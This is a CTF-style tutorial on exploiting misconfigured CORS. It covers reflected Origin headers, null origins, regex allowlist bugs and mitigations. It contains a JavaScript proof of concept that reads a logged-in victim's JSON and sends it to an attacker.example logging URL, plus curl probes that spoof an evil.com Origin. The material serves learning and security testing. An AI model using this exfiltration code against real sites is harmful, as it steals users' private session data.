CORS Misconfiguration
Exploit misconfigured Cross-Origin Resource Sharing in CTF web - reflected Origin, wildcards, credentials, and exfiltration from authenticated APIs.
CORS Misconfiguration
CORS (Cross-Origin Resource Sharing) is how a browser decides whether JavaScript on page A may read HTTP responses from origin B. It does not block you from sending requests - it mainly controls whether fetch / XHR can see the response body when origins differ.
If the API is misconfigured, a malicious site you visit while logged in can steal JSON from the victim’s session. PortSwigger’s CORS material is the standard reference; OWASP covers testing in the WSTG CORS section.
Headers You Need to Know
| Header | Purpose |
|---|---|
Origin | Browser sends the origin of the page that initiated the request (scheme + host + port). |
Access-Control-Allow-Origin | Which origin may read the response from JS. |
Access-Control-Allow-Credentials | If true, cookies / Authorization may be sent and exposed to JS (subject to browser rules). |
Access-Control-Allow-Methods / Allow-Headers | Allowed methods and request headers for preflight (OPTIONS). |
Critical rule: Browsers reject Access-Control-Allow-Origin: * together with Access-Control-Allow-Credentials: true for credentialed requests; many bugs come from reflecting arbitrary Origin or from broken regex “allowlists”.
Attack Decision Tree
Find a sensitive endpoint
Look for JSON APIs: /api/user, /api/me, /graphql, /profile.json - anything that returns private data when the victim is logged in.
Send a cross-origin request with a fake Origin
From your machine (Burp Repeater or curl), add:
Origin: https://evil.exampleIf the response echoes Access-Control-Allow-Origin: https://evil.example and you need cookies, check for Access-Control-Allow-Credentials: true.
Host a PoC page on that origin
If the server reflects your Origin, your PoC at https://evil.example can use fetch(..., { credentials: 'include' }) so the victim’s browser sends cookies and returns the response body to your JS.
PoC: Steal JSON with fetch
<script>
fetch("https://victim.example/api/me", {
credentials: "include",
})
.then((r) => r.text())
.then((t) => {
// exfil to your server
fetch("https://attacker.example/log?d=" + encodeURIComponent(t));
});
</script>This only works if victim visits your page while logged into victim.example and CORS allows the attacker origin.
Common Misconfigurations
| Misconfiguration | Why it hurts |
|---|---|
Access-Control-Allow-Origin: * on private JSON | Any site can read the response if the request does not need cookies - or combine with other bugs |
Reflect Origin header without validation | Attacker origin gets full read access to credentialed responses |
| Regex allowlist bugs | https://trusted.com.evil.com matches naive https://trusted.com patterns |
Allow null origin | Sandboxed / file contexts send Origin: null - dangerous if whitelisted blindly |
Preflight only on OPTIONS | Sometimes GET reflects Origin but OPTIONS does not - test both |
Quick Tests with curl
# Does the server reflect arbitrary Origin?
curl -sI -H "Origin: https://evil.com" \
-H "Cookie: session=..." \
https://victim.example/api/me | grep -i access-control
# Credentialed CORS (browser sends cookie)
# Look for:
# Access-Control-Allow-Origin: https://evil.com
# Access-Control-Allow-Credentials: trueMitigation (What Writeups Expect)
- Never reflect raw
Origin. Use a fixed allowlist server-side. Vary: Originwhen responses differ by origin (cache correctness).- CORS is not authentication - enforce auth on every API on the server.
Checklist
- Enumerate API endpoints returning JSON
- Burp: add
Origin: https://evil.comon GET and POST - Check
Access-Control-Allow-Credentials+ reflected Allow-Origin - Try
Origin: null - Test subdomain and scheme tricks (
httpvshttps) - Build HTML PoC with
credentials: 'include'if cookies matter
Last updated on